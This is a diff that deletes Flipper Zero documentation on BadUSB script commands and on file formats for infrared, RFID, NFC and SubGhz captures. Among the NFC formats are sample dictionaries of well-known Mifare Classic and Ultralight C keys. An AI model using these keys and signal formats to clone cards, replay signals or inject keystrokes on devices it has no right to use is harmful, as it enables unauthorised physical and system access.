|:-------------------|:-------------------------------|
| POWER | |
| REBOOT | |
| SLEEP | |
| LOGOFF | |
| EXIT | |
| HOME | |
| BACK | |
| FORWARD | |
| REFRESH | |
| SNAPSHOT | Take photo in a camera app |
| PLAY | |
| PAUSE | |
| PLAY_PAUSE | |
| NEXT_TRACK | |
| PREV_TRACK | |
| STOP | |
| EJECT | |
| MUTE | |
| VOLUME_UP | |
| VOLUME_DOWN | |
| FN | Fn/Globe key on Mac keyboard |
| BRIGHT_UP | Increase display brightness |
| BRIGHT_DOWN | Decrease display brightness |
## Fn/Globe key commands (Mac/iPad)
| Command | Parameters | Notes |
|:---------|:---------------------------------|:-------|
| GLOBE | Special key or single character | |
## Wait for button press
Will wait indefinitely for a button to be pressed
| Command | Parameters | Notes |
|:----------------------|:-----------|:------------------------------------------------------------------------------|
| WAIT_FOR_BUTTON_PRESS | None | Will wait for the user to press a button to continue script execution |
## USB device ID
You can set the custom ID of the Flipper USB HID device. ID command should be in the **first line** of script, it is executed before script run.
| Command | Parameters | Notes |
|:---------|:------------------------------|:-------|
| ID | VID:PID Manufacturer:Product | |
Example:
```text
ID 1234:abcd Flipper Devices:Flipper Zero
```
> [!IMPORTANT]
>
> VID and PID are hex codes and are mandatory.
> Manufacturer and Product are text strings and are optional.
## Mouse Commands
Mouse movement and click commands. Mouse click commands support HOLD functionality.
| Command | Parameters | Notes |
| ------------- | -------------------------------| -------------------------------- |
| LEFTCLICK | None | |
| LEFT_CLICK | None | functionally same as LEFTCLICK |
| RIGHTCLICK | None | |
| RIGHT_CLICK | None | functionally same as RIGHTCLICK |
| MOUSEMOVE | x y: int move mount/direction | |
| MOUSE_MOVE | x y: int move mount/direction | functionally same as MOUSEMOVE |
| MOUSESCROLL | delta: int scroll distance | |
| MOUSE_SCROLL | delta: int scroll distance | functionally same as MOUSESCROLL |

View File

@@ -1,145 +0,0 @@
# Infrared Flipper File Formats {#infrared_file_format}
## Supported protocols list for "type: parsed"
```
NEC
NECext
NEC42
NEC42ext
Samsung32
RC6
RC5
RC5X
SIRC
SIRC15
SIRC20
Kaseikyo
RCA
```
## Infrared Remote File Format
### Example
Filetype: IR signals file
Version: 1
#
name: Button_1
type: parsed
protocol: NECext
address: EE 87 00 00
command: 5D A0 00 00
#
name: Button_2
type: raw
frequency: 38000
duty_cycle: 0.330000
data: 504 3432 502 483 500 484 510 502 502 482 501 485 509 1452 504 1458 509 1452 504 481 501 474 509 3420 503
#
name: Button_3
type: parsed
protocol: SIRC
address: 01 00 00 00
command: 15 00 00 00
### Description
Filename extension: `.ir`
This file format is used to store an infrared remote that consists of an arbitrary number of buttons.
Each button is separated from others by a comment character (`#`) for better readability.
Known protocols are represented in the `parsed` form, whereas non-recognized signals may be saved and re-transmitted as `raw` data.
#### Version history
1. Initial version.
#### Format fields
| Name | Use | Type | Description |
| ---------- | ------ | ------ | --------------------------------------------------------------------------------------------------------------------------------------------- |
| name | both | string | Name of the button. Only printable ASCII characters are allowed. |
| type | both | string | Type of the signal. Must be `parsed` or `raw`. |
| protocol | parsed | string | Name of the infrared protocol. Refer to `ir` console command for the complete list of supported protocols. |
| address | parsed | hex | Payload address. Must be 4 bytes long. |
| command | parsed | hex | Payload command. Must be 4 bytes long. |
| frequency | raw | uint32 | Carrier frequency, in Hertz, usually 38000 Hz. |
| duty_cycle | raw | float | Carrier duty cycle, usually 0.33. |
| data | raw | uint32 | Raw signal timings, in microseconds between logic level changes. Individual elements must be space-separated. Maximum timings amount is 1024. |
## Infrared Library File Format
### Examples
- [TV Universal Library](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/tv.ir)
- [A/C Universal Library](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/ac.ir)
- [Audio Universal Library](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/audio.ir)
### Description
Filename extension: `.ir`
This file format is used to store universal remote libraries. It is identical to the previous format, differing only in the `Filetype` field.
It also has predefined button names for each universal library type, so that the universal remote application can understand them.
See [Universal Remotes](../UniversalRemotes.md) for more information.
### Version history
1. Initial version.
## Infrared Test File Format
### Examples
See [Infrared Unit Tests](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests/resources/unit_tests/infrared) for various examples.
### Description
Filename extension: `.irtest`
This file format is used to store technical test data that is too large to keep directly in the firmware.
It is mostly similar to the two previous formats, with the main difference being the addition of the parsed signal arrays.
Each infrared protocol must have corresponding unit tests complete with an `.irtest` file.
Known protocols are represented in the `parsed_array` form, whereas raw data has the `raw` type.
Note: a single parsed signal must be represented as an array of size 1.
### Version history
1. Initial version.
#### Format fields
| Name | Use | Type | Description |
| ---------- | ------------ | ------ | ---------------------------------------------------------------- |
| name | both | string | Name of the signal. Only printable ASCII characters are allowed. |
| type | both | string | Type of the signal. Must be `parsed_array` or `raw`. |
| count | parsed_array | uint32 | The number of parsed signals in an array. Must be at least 1. |
| protocol | parsed_array | string | Same as in previous formats. |
| address | parsed_array | hex | Ditto. |
| command | parsed_array | hex | Ditto. |
| repeat | parsed_array | bool | Indicates whether the signal is a repeated button press. |
| frequency | raw | uint32 | Same as in previous formats. |
| duty_cycle | raw | float | Ditto. |
| data | raw | uint32 | Ditto. |
#### Signal names
The signal names in an `.irtest` file follow a convention `<name><test_number>`, where the name is one of:
- decoder_input
- decoder_expected
- encoder_decoder_input,
and the number is a sequential integer: 1, 2, 3, etc., which produces names like `decoder_input1`, `encoder_decoder_input3`, and so on.
| Name | Type | Description |
| --------------------- | ------------ | ----------------------------------------------------------------------------------------------------- |
| decoder_input | raw | A raw signal containing the decoder input. Also used as the expected encoder output. |
| decoder_expected | parsed_array | An array of parsed signals containing the expected decoder output. Also used as the encoder input. |
| encoder_decoder_input | parsed_array | An array of parsed signals containing both the encoder-decoder input and expected output. |
See [Unit Tests](../UnitTests.md) for more info.

View File

@@ -1,50 +0,0 @@
# LF RFID key file format {#lfrfid_file_format}
## Example
```
Filetype: Flipper RFID key
Version: 1
Key type: EM4100
Data: 01 23 45 67 89
```
## Description
Filename extension: `.rfid`
The file stores a single RFID key of the type defined by the `Key type` parameter.
### Version history
1. Initial version.
### Format fields
| Name | Description |
| -------- | --------------------- |
| Key type | Key protocol type |
| Data | Key data (HEX values) |
### Supported key types
| Type | Full name |
| ----------- | ----------------- |
| EM4100 | EM-Micro EM4100 |
| H10301 | HID H10301 |
| Idteck | IDTECK |
| Indala26 | Motorola Indala26 |
| IOProxXSF | Kantech IOProxXSF |
| AWID | AWID |
| FDX-A | FECAVA FDX-A |
| FDX-B | ISO FDX-B |
| HIDProx | Generic HIDProx |
| HIDExt | Generic HIDExt |
| Pyramid | Farpointe Pyramid |
| Viking | Viking |
| Jablotron | Jablotron |
| Paradox | Paradox |
| PAC/Stanley | PAC/Stanley |
| Keri | Keri |
| Gallagher | Gallagher |
| GProxII | Guardall GProx II |

View File

@@ -1,347 +0,0 @@
# NFC Flipper File Formats {#nfc_file_format}
## UID + Header (General format)
### Example
Filetype: Flipper NFC device
Version: 4
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, NTAG/Ultralight, Mifare Classic, Mifare DESFire
Device type: ISO14443-4A
# UID is common for all formats
UID: 04 48 6A 32 33 58 80
-------------------------
(Device-specific data)
### Description
This file format is used to store the device type and the UID of an NFC device. It does not store any internal data, so it is only used as a header for other formats.
Version differences:
1. Initial version, deprecated
2. LSB ATQA (e.g. 4400 instead of 0044)
3. MSB ATQA (current version)
4. Replace UID device type with ISO14443-3A
## ISO14443-3A
Filetype: Flipper NFC device
Version: 4
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, NTAG/Ultralight, Mifare Classic, Mifare DESFire
Device type: ISO14443-3A
# UID is common for all formats
UID: 34 19 6D 41 14 56 E6
# ISO14443-3A specific data
ATQA: 00 44
SAK: 00
### Description
This file format is used to store the UID, SAK and ATQA of an ISO14443-3A device.
UID must be either 4 or 7 bytes long. ATQA is 2 bytes long. SAK is 1 byte long.
Version differences:
None, there are no versions yet.
## ISO14443-3B
Filetype: Flipper NFC device
Version: 4
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, NTAG/Ultralight, Mifare Classic, Mifare DESFire
Device type: ISO14443-3B
# UID is common for all formats
UID: 30 1D B3 28
# ISO14443-3B specific data
Application data: 00 12 34 FF
Protocol info: 11 81 E1
### Description
This file format is used to store the UID, Application data and Protocol info of a ISO14443-3B device.
UID must be 4 bytes long. Application data is 4 bytes long. Protocol info is 3 bytes long.
Version differences:
None, there are no versions yet.
## ISO14443-4A
### Example
Filetype: Flipper NFC device
Version: 4
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, NTAG/Ultralight, Mifare Classic, Mifare DESFire
Device type: ISO14443-4A
# UID is common for all formats
UID: 04 48 6A 32 33 58 80
# ISO14443-3A specific data
ATQA: 03 44
SAK: 20
# ISO14443-4A specific data
ATS: 06 75 77 81 02 80
### Description
This file format is used to store the UID, SAK and ATQA of a ISO14443-4A device. It also stores the Answer to Select (ATS) data of the card.
ATS must be no less than 5 bytes long.
Version differences:
None, there are no versions yet.
## NTAG/Ultralight
### Example
Filetype: Flipper NFC device
Version: 4
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, NTAG/Ultralight, Mifare Classic, Mifare DESFire
Device type: NTAG/Ultralight
# UID is common for all formats
UID: 04 85 90 54 12 98 23
# ISO14443-3A specific data
ATQA: 00 44
SAK: 00
# NTAG/Ultralight specific data
Data format version: 2
NTAG/Ultralight type: NTAG216
Signature: 1B 84 EB 70 BD 4C BD 1B 1D E4 98 0B 18 58 BD 7C 72 85 B4 E4 7B 38 8E 96 CF 88 6B EE A3 43 AD 90
Mifare version: 00 04 04 02 01 00 13 03
Counter 0: 0
Tearing 0: 00
Counter 1: 0
Tearing 1: 00
Counter 2: 0
Tearing 2: 00
Pages total: 231
Pages read: 231
Page 0: 04 85 92 9B
Page 1: 8A A0 61 81
Page 2: CA 48 0F 00
...
Page 224: 00 00 00 00
Page 225: 00 00 00 00
Page 226: 00 00 7F BD
Page 227: 04 00 00 E2
Page 228: 00 05 00 00
Page 229: 00 00 00 00
Page 230: 00 00 00 00
Failed authentication attempts: 0
### Description
This file format is used to store the UID, SAK and ATQA of a Mifare Ultralight/NTAG device. It also stores the internal data of the card, the signature, the version, and the counters. The data is stored in pages, just like on the card itself.
The "NTAG/Ultralight type" field contains the concrete device type. It must be one of: Mifare Ultralight, Mifare Ultralight 11, Mifare Ultralight 21, NTAG203, NTAG213, NTAG215, NTAG216, NTAG I2C 1K, NTAG I2C 2K, NTAG I2C Plus 1K, NTAG I2C Plus 2K.
The "Signature" field contains the reply of the tag to the READ_SIG command. More on that can be found here: <https://www.nxp.com/docs/en/data-sheet/MF0ULX1.pdf> (page 31)
The "Mifare version" field is not related to the file format version but to the Mifare Ultralight version. It contains the response of the tag to the GET_VERSION command. More on that can be found here: <https://www.nxp.com/docs/en/data-sheet/MF0ULX1.pdf> (page 21)
Other fields are the direct representation of the card's internal state. Learn more about them in the same datasheet.
Version differences:
1. Mifare Ultralight type is stored directly in Device type field
2. Current version, Mifare Ultralight type is stored in the same-named field
## Mifare Classic
### Example
Filetype: Flipper NFC device
Version: 4
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, NTAG/Ultralight, Mifare Classic, Mifare DESFire
Device type: Mifare Classic
# UID is common for all formats
UID: BA E2 7C 9D
# ISO14443-3A specific data
ATQA: 00 02
SAK: 18
# Mifare Classic specific data
Mifare Classic type: 4K
Data format version: 2
# Mifare Classic blocks, '??' means unknown data
Block 0: BA E2 7C 9D B9 18 02 00 46 44 53 37 30 56 30 31
Block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 3: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF
Block 4: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 5: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 6: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 7: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF
...
Block 238: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 239: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF
Block 240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 241: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 242: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 243: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 244: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 245: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 246: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 247: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 248: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 249: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 251: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 252: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 253: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 254: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 255: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF
### Description
This file format is used to store the NFC-A and Mifare Classic specific data of a Mifare Classic card. Aside from the NFC-A data, it stores the card type (1K/4K) and the internal data of the card. The data is stored in blocks, there is no sector grouping. If the block's data is unknown, it is represented by '??'. Otherwise, the data is represented as a hex string.
Version differences:
1. Initial version, has Key A and Key B masks instead of marking unknown data with '??'.
Example:
...
Data format version: 1
# Key map is the bit mask indicating valid key in each sector
Key A map: 000000000000FFFF
Key B map: 000000000000FFFF
# Mifare Classic blocks
...
2. Current version
## Mifare DESFire
### Example
Filetype: Flipper NFC device
Version: 4
# Device type can be ISO14443-3A, ISO14443-3B, ISO14443-4A, NTAG/Ultralight, Mifare Classic, Mifare DESFire
Device type: Mifare DESFire
# UID is common for all formats
UID: 04 2F 19 0A CD 66 80
# ISO14443-3A specific data
ATQA: 03 44
SAK: 20
# ISO14443-4A specific data
ATS: 06 75 77 81 02 80
# Mifare DESFire specific data
PICC Version: 04 01 01 12 00 1A 05 04 01 01 02 01 1A 05 04 2F 19 0A CD 66 80 CE ED D4 51 80 31 19
PICC Free Memory: 7520
PICC Change Key ID: 00
PICC Config Changeable: true
PICC Free Create Delete: true
PICC Free Directory List: true
PICC Key Changeable: true
PICC Max Keys: 01
PICC Key 0 Version: 00
Application Count: 1
Application IDs: 56 34 12
Application 563412 Change Key ID: 00
Application 563412 Config Changeable: true
Application 563412 Free Create Delete: true
Application 563412 Free Directory List: true
Application 563412 Key Changeable: true
Application 563412 Max Keys: 0E
Application 563412 Key 0 Version: 00
Application 563412 Key 1 Version: 00
Application 563412 Key 2 Version: 00
Application 563412 Key 3 Version: 00
Application 563412 Key 4 Version: 00
Application 563412 Key 5 Version: 00
Application 563412 Key 6 Version: 00
Application 563412 Key 7 Version: 00
Application 563412 Key 8 Version: 00
Application 563412 Key 9 Version: 00
Application 563412 Key 10 Version: 00
Application 563412 Key 11 Version: 00
Application 563412 Key 12 Version: 00
Application 563412 Key 13 Version: 00
Application 563412 File IDs: 01
Application 563412 File 1 Type: 00
Application 563412 File 1 Communication Settings: 00
Application 563412 File 1 Access Rights: EE EE
Application 563412 File 1 Size: 256
Application 563412 File 1: 13 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
### Description
This file format is used to store the NFC-A and Mifare DESFire specific data of a Mifare DESFire card. Aside from the NFC-A data, it stores the card type (DESFire) and the internal data of the card. The data is stored per-application, and per-file. Here, the card was written using those pm3 commands:
hf mfdes createapp --aid 123456 --fid 2345 --dfname astra
hf mfdes createfile --aid 123456 --fid 01 --isofid 0001 --size 000100
hf mfdes write --aid 123456 --fid 01 -d 1337
Version differences:
None, there are no versions yet.
## Mifare Classic Dictionary
### Example
# Key dictionary from https://github.com/ikarus23/MifareClassicTool.git
# More well known keys!
# Standard keys
FFFFFFFFFFFF
A0A1A2A3A4A5
D3F7D3F7D3F7
000000000000
# Keys from mfoc
B0B1B2B3B4B5
4D3A99C351DD
1A982C7E459A
AABBCCDDEEFF
714C5C886E97
587EE5F9350F
A0478CC39091
533CB6C723F6
8FD0A4F256E9
...
### Description
This file contains a list of Mifare Classic keys. Each key is represented as a hex string. Lines starting with '#' are ignored as comments. Blank lines are ignored as well.
## Mifare Ultralight C Dictionary
### Example
# Hexadecimal-Reversed Sample Key
12E4143455F495649454D4B414542524
# Byte-Reversed Sample Key (!NACUOYFIEMKAERB)
214E4143554F594649454D4B41455242
# Sample Key (BREAKMEIFYOUCAN!)
425245414B4D454946594F5543414E21
# Semnox Key (IEMKAERB!NACUOY )
49454D4B41455242214E4143554F5900
# Modified Semnox Key (IEMKAERB!NACUOYF)
49454D4B41455242214E4143554F5946
...
### Description
This file contains a list of Mifare Ultralight C keys. Each key is represented as a hex string. Lines starting with '#' are ignored as comments. Blank lines are ignored as well.
## EMV resources
### Example
Filetype: Flipper EMV resources
Version: 1
# EMV currency code: currency name
0997: USN
0994: XSU
0990: CLF
0986: BRL
0985: PLN
0984: BOV
...
### Description
This file stores a list of EMV currency codes, country codes, or AIDs and their names. Each line contains a hex value and a name separated by a colon and a space.
Version differences:
1. Initial version

View File

@@ -1,304 +0,0 @@
# SubGhz Subsystem File Formats {#subghz_file_format}
## .sub File Format
Flipper uses `.sub` files to store SubGhz signals. These files use the Flipper File Format. `.sub` files can contain either a SubGhz Key with a certain protocol or SubGhz RAW data.
A `.sub` file consist of 3 parts:
- **header**, contains the file type, version, and frequency
- **preset information**, preset type and, in case of a custom preset, transceiver configuration data
- **protocol and its data**, contains protocol name and its specific data, such as key, bit length, etc., or RAW data
Flipper's SubGhz subsystem uses presets to configure the radio transceiver. Presets are used to configure modulation, bandwidth, filters, etc. There are several presets available in stock firmware, and there is a way to create custom presets. See [SubGhz Presets](#adding-a-custom-preset) section for more details.
## Header format
Header is a mandatory part of a `.sub` file. It contains the file type, version, and frequency.
| Field | Type | Description |
| ----------- | ------ | ----------------------------------------------------------------- |
| `Filetype` | string | Filetype of subghz file format, must be `Flipper SubGhz Key File` |
| `Version` | uint | Version of subghz file format, current version is 1 |
| `Frequency` | uint | Frequency in Hertz |
## Preset information
Preset information is a mandatory part for `.sub` files. It contains preset type and, in case of custom preset, transceiver configuration data.
When using one of the standard presets, only `Preset` field is required. When using a custom preset, `Custom_preset_module` and `Custom_preset_data` fields are required.
| Field | Description |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| `Preset` | Radio preset name (configures modulation, bandwidth, filters, etc.). When using a custom preset, must be `FuriHalSubGhzPresetCustom` |
| `Custom_preset_module` | Transceiver identifier, `CC1101` for Flipper Zero |
| `Custom_preset_data` | Transceiver configuration data |
Built-in presets:
- `FuriHalSubGhzPresetOok270Async` — On/Off Keying, 270kHz bandwidth, async(IO throw GP0)
- `FuriHalSubGhzPresetOok650Async` — On/Off Keying, 650kHz bandwidth, async(IO throw GP0)
- `FuriHalSubGhzPreset2FSKDev238Async` — 2 Frequency Shift Keying, deviation 2kHz, 270kHz bandwidth, async(IO throw GP0)
- `FuriHalSubGhzPreset2FSKDev12KAsync` — 2 Frequency Shift Keying, deviation 12kHz, 270kHz bandwidth, async(IO throw GP0)
- `FuriHalSubGhzPreset2FSKDev476Async` — 2 Frequency Shift Keying, deviation 47kHz, 270kHz bandwidth, async(IO throw GP0)
### Transceiver Configuration Data {#transceiver-configuration-data}
Transceiver configuration data is a string of bytes, encoded in hex format, separated by spaces. For CC1101 data structure is: `XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ`, where:
- **XX**, holds register address,
- **YY**, contains register value,
- **00 00**, marks register block end,
- **ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ**, 8 byte PA table (Power amplifier ramp table).
You can find more details in the [CC1101 datasheet](https://www.ti.com/lit/ds/symlink/cc1101.pdf) and `furi_hal_subghz` code.
## File Data
`.sub` file data section can either contain key data, consisting of a protocol name and its specific data, bit length, etc., or RAW data, which consists of an array of signal timings, recorded without any protocol-specific processing.
### Key Files
`.sub` files with key data files contain protocol name and its specific data, such as key value, bit length, etc.
Check out the protocol registry for the full list of supported protocol names.
Example of a key data block in Princeton format:
```
...
Protocol: Princeton
Bit: 24
Key: 00 00 00 00 00 95 D5 D4
TE: 400
```
Protocol-specific fields in this example:
| Field | Description |
| ----- | --------------------------------- |
| `Bit` | Princeton payload length, in bits |
| `Key` | Princeton payload data |
| `TE` | Princeton quantization interval |
This file may contain additional fields, more details on available fields can be found in subghz protocols library.
### RAW Files
RAW `.sub` files contain raw signal data that is not processed through protocol-specific decoding. These files are useful for testing or sending data not supported by any known protocol.
For RAW files, 2 fields are required:
- **Protocol**, must be `RAW`
- **RAW_Data**, contains an array of timings, specified in microseconds. Values must be non-zero, start with a positive number, and interleaved (change sign with each value). Up to 512 values per line. Can be specified multiple times to store multiple lines of data.
Example of RAW data:
Protocol: RAW
RAW_Data: 29262 361 -68 2635 -66 24113 -66 11 ...
A long payload that doesn't fit into the internal memory buffer and consists of short duration timings (< 10us) may not be read fast enough from the SD card. That might cause the signal transmission to stop before reaching the end of the payload. Ensure that your SD Card has good performance before transmitting long or complex RAW payloads.
### BIN_RAW Files
BinRAW `.sub` files and `RAW` files both contain data that has not been decoded by any protocol. However, unlike `RAW`, `BinRAW` files only record a useful repeating sequence of durations with a restored byte transfer rate and without broadcast noise. These files can emulate nearly all static protocols, whether Flipper knows them or not.
- Usually, you have to receive the signal a little longer so that Flipper accumulates sufficient data to analyze it correctly.
For `BinRAW` files, the following parameters are required and must be aligned to the left:
- **Protocol**, must be `BinRAW`.
- **Bit**, is the length of the payload of the entire file, in bits (max 4096).
- **TE**, is the quantization interval, in us.
- **Bit_RAW**, is the length of the payload in the next Data_RAW parameter, in bits.
- **Data_RAW**, is an encoded sequence of durations, where each bit in the sequence encodes one TE interval: 1 - high level (there is a carrier), 0 - low (no carrier).
For example, TE=100, Bit_RAW=8, Data_RAW=0x37 => 0b00110111, that is, `-200 200 -100 300` will be transmitted.
When sending uploads, `Bit_RAW` and `Data_RAW` form a repeating block. Several such blocks are necessary if you want to send different sequences sequentially. However, usually, there will be only one block.
Example data from a `BinRAW` file:
```
...
Protocol: BinRAW
Bit: 1572
TE: 597
Bit_RAW: 260
Data_RAW: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 4A B5 55 4C B3 52 AC D5 2D 53 52 AD 4A D5 35 00
Bit_RAW: 263
Data_RAW: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 04 D5 32 D2 AB 2B 33 32 CB 2C CC B3 52 D3 00
Bit_RAW: 259
Data_RAW: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 4A AB 55 34 D5 2D 4C CD 33 4A CD 55 4C D2 B3 00
Bit_RAW: 263
Data_RAW: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 7F 4A AA D5 2A CC B2 B4 CB 34 CC AA AB 4D 53 53 00
Bit_RAW: 264
Data_RAW: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 FC 00 00 15 2C CB 34 D3 35 35 4D 4B 32 B2 D3 33 00
Bit_RAW: 263
Data_RAW: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DE 02 D3 54 D5 4C D2 CC AD 4B 2C B2 B5 54 CC AB 00
```
## File examples
### Key file, standard preset
Filetype: Flipper SubGhz Key File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: Princeton
Bit: 24
Key: 00 00 00 00 00 95 D5 D4
TE: 400
### Key file, custom preset
Filetype: Flipper SubGhz Key File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetCustom
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
Protocol: Princeton
Bit: 24
Key: 00 00 00 00 00 95 D5 D4
TE: 400
### RAW file, standard preset
Filetype: Flipper SubGhz RAW File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: RAW
RAW_Data: 29262 361 -68 2635 -66 24113 -66 11 ...
RAW_Data: -424 205 -412 159 -412 381 -240 181 ...
RAW_Data: -1448 361 -17056 131 -134 233 -1462 131 -166 953 -100 ...
### RAW file, custom preset
Filetype: Flipper SubGhz RAW File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetCustom
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
Protocol: RAW
RAW_Data: 29262 361 -68 2635 -66 24113 -66 11 ...
RAW_Data: -424 205 -412 159 -412 381 -240 181 ...
RAW_Data: -1448 361 -17056 131 -134 233 -1462 131 -166 953 -100 ...
# SubGhz configuration files
SubGhz application provides support for adding extra radio presets and additional keys for decoding transmissions in certain protocols.
## SubGhz keeloq_mfcodes_user file
This file contains additional manufacturer keys for Keeloq protocol. It is used to decode Keeloq transmissions.
This file is loaded at subghz application start and is located at path `/ext/subghz/assets/keeloq_mfcodes_user`.
### File format
File contains a header and a list of manufacturer keys.
File header format:
| Field | Type | Description |
| ------------ | ------ | ------------------------------------------------------------------ |
| `Filetype` | string | SubGhz Keystore file format, always `Flipper SubGhz Keystore File` |
| `Version` | uint | File format version, 0 |
| `Encryption` | uint | File encryption: for user-provided file, set to 0 (disabled) |
Following the header, file contains a list of user-provided manufacture keys, one key per line.
For each key, a name and encryption method must be specified, according to comment in file header. More information can be found in keeloq decoder source code.
### Example
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
# for adding manufacture keys
# AABBCCDDEEFFAABB:X:NAME
# AABBCCDDEEFFAABB - man 64 bit
# X - encryption method:
# - 0 - iterates over both previous and man in direct and reverse byte sequence
# - 1 - Simple Learning
# - 2 - Normal_Learning
# - 3 - Secure_Learning
# - 4 - Magic_xor_type1 Learning
#
# NAME - name (string without spaces) max 64 characters long
Filetype: Flipper SubGhz Keystore File
Version: 0
Encryption: 0
AABBCCDDEEFFAABB:1:Test1
AABBCCDDEEFFAABB:1:Test2
## SubGhz setting_user file
This file contains additional radio presets and frequencies for SubGhz application. It is used to add new presets and frequencies for existing presets. This file is being loaded on subghz application start and is located at path `/ext/subghz/assets/setting_user`.
### File format
File contains a header, basic options, and optional lists of presets and frequencies.
Header must contain the following fields:
- `Filetype`: SubGhz setting file format, must be `Flipper SubGhz Setting File`.
- `Version`: file format version, current is `1`.
#### Basic settings
- `Add_standard_frequencies`: bool, flag indicating whether to load standard frequencies shipped with firmware. If set to `false`, only frequencies specified in this file will be used.
- `Default_frequency`: uint, default frequency used in SubGhz application.
#### Adding more frequencies
- `Frequency`: uint — additional frequency for the subghz application frequency list. Used in Read and Read RAW. You can specify multiple frequencies, one per line.
#### Adding more hopper frequencies
- `Hopper_frequency`: uint — additional frequency for subghz application frequency hopping. Used in Frequency Analyzer. You can specify multiple frequencies, one per line.
Repeating the same frequency will cause Flipper to listen to this frequency more often.
#### Adding a Custom Preset {#adding-a-custom-preset}
You can have as many presets as you want. Presets are embedded into `.sub` files, so another Flipper can load them directly from that file.
Each preset is defined by the following fields:
| Field | Description |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------ |
| `Custom_preset_name` | string, preset name that will be shown in SubGHz application |
| `Custom_preset_module` | string, transceiver identifier. Set to `CC1101` for Flipper Zero |
| `Custom_preset_data` | transceiver configuration data. See [Transceiver Configuration Data](#transceiver-configuration-data) for details. |
### Example
```
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies for your region
Add_standard_frequencies: true
# Default Frequency: used as default for "Read" and "Read Raw"
Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
Frequency: 300000000
Frequency: 310000000
Frequency: 320000000
# Frequencies used for hopping mode (keep this list small or Flipper will miss the signal)
Hopper_frequency: 300000000
Hopper_frequency: 310000000
